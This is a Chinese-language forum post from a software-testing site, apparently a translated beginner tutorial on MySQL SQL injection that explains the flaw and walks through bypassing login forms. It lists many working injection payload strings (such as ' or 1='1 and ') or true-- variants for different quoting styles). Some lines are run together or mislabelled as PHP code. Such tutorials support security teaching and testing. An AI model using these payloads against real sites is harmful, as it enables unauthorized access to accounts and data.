51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 1192|回复: 0
打印 上一主题 下一主题

mysql注入1

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2019-2-1 15:46:15 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0x01 ~ 介绍
大家好,对于那些不了解我的人我是他们的噩梦=)..在本教程中,我将以新手视角展示MySQL中臭名昭着的注入,以便所有新手都能成为成功的SQL注入器。 目的,一定要检查PHP和MySQL中的各种函数和各种各样的网站,它们会对你有很大的帮助...也不要苛刻我是否有任何语法错误的教程因为英语不是我的母语(我是 来自土星环)。 现在让我们开始SQL注入的演练。
0x02 ~ 什么是数据库
这只是只是一般的信息..数据库是存储数据集合的应用程序。 数据库提供各种API,用于创建,访问和管理它所拥有的数据。 并且数据库(DB)服务器可以与我们的Web开发集成,以便我们可以从数据库中获取我们想要的东西而没有太多困难。 DB可能包含各种关键信息,如用户名,密码,信用等。 因此,需要保护数据库,但运行的许多数据库服务器由于其漏洞或编程处理不当而不安全。 仅举几例DB服务器,MySQL(开源),MSSQL,MS-ACCESS,Oracle,Postgre SQL(开源),SQLite等。
0x03 ~ 什么是Sql注入?
SQL注入可能是目前互联网上存在的最丰富的编程缺陷。 这是未经授权的人可以访问各种关键和私人数据的漏洞。 SQL注入不是Web或数据库服务器中的缺陷,而是由于编程实践较差且缺乏经验而导致的。 它是从远程位置执行的最致命和最容易的攻击之一。
在SQL注入中,我们使用各种命令与DB服务器交互,并从中获取各种数据。 在本教程中,我将讨论SQL注入的3个方面,即绕过登录,访问机密数据和修改页面内容。 因此,让我们在真正的演练中前进......
#0x04 ~ 绕过登录
假设一个站点有一个登录表单,只允许注册用户进入该站点。 现在,假设你想绕过登录并以合法用户身份进入网站。 如果程序员没有正确清理登录脚本,您可能很幸运能够进入该站点。 通过与DB服务器交互,你可能无需知道真实用户名和真实密码即可登录该站点。 那么,这不就是SQL注入的美感吗?
让我们看一个例子,其中用户名admin和密码sam207可以登录到该站点。 假设,对此的SQL查询执行如下:
HTML代码:
SELECT USER from database WHERE username ='admin'AND password ='xenu'
如果上面的SELECT命令评估为true,则将授予用户访问该站点的权限。 想想如果没有清理脚本我们可以做些什么。 这为黑客获取非法访问网站打开了一扇大门。
在此示例中,攻击者可以在登录表单中输入以下用户数据:
username:a or 1=1--password:blank
所以,这会使我们的查询为:
<?phpSELECT USER from database WHERE username='a' or 1=1-- AND password=''  
请注意 - 是注释运算符,其后的任何内容都将被忽略为注释。 存在另一个注释运算符,它是/ *。
所以我们的上述查询变为:
<?phpSELECT USER from database WHERE username='a' or 1=1  
现在,即使没有名为“a”的用户,此查询也会计算为true,因为1 = 1始终为true,并且当其中一个查询为true时,使用OR会使查询返回true。 这样就可以访问站点管理面板。
可以有各种其他用户名和密码组合来与易受攻击的网站一起玩。 您可以为站点登录创建自己的新组合。
很少有这样的组合:
username:' or 1='1        password:' or 1='1username:' or '1'='1'    password:' or '1'='1'usernamer 1=1        passwordr 1=1
这是基本没关系让我们现在假设不同的查询和不同的注入。
<?phpselect username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;  
这样的组合是:
') or true--') or ('')=('') or 1--') or ('x')=('
PHP代码:
<?phpselect username,pass from users where username="$username" and password="$passwrd" limit 0,1;  
这样的组合是:
" or true--" or ""="" or 1--" or "x"="
PHP代码:
<?phpselect username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;  
这样的组合是:
") or true--") or ("")=("") or 1--") or ("x")=("
PHP代码:
<?phpselect username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;  
这样的组合是:
')) or true--')) or ((''))=(('')) or 1--')) or (('x'))=(('
另一种有效载重:
'-'' ''&''^''*'' or ''-'' or '' '' or ''&'' or ''^'' or ''*'"-"" ""&""^""*"" or ""-"" or "" "" or ""&"" or ""^"" or ""*"or true--" or true--' or true--") or true--') or true--' or 'x'='x') or ('x')=('x')) or (('x'))=(('x" or "x"="x") or ("x")=("x")) or (("x"))=(("x
这就是绕过登录。
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-5-2 23:34 , Processed in 0.062983 second(s), 23 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表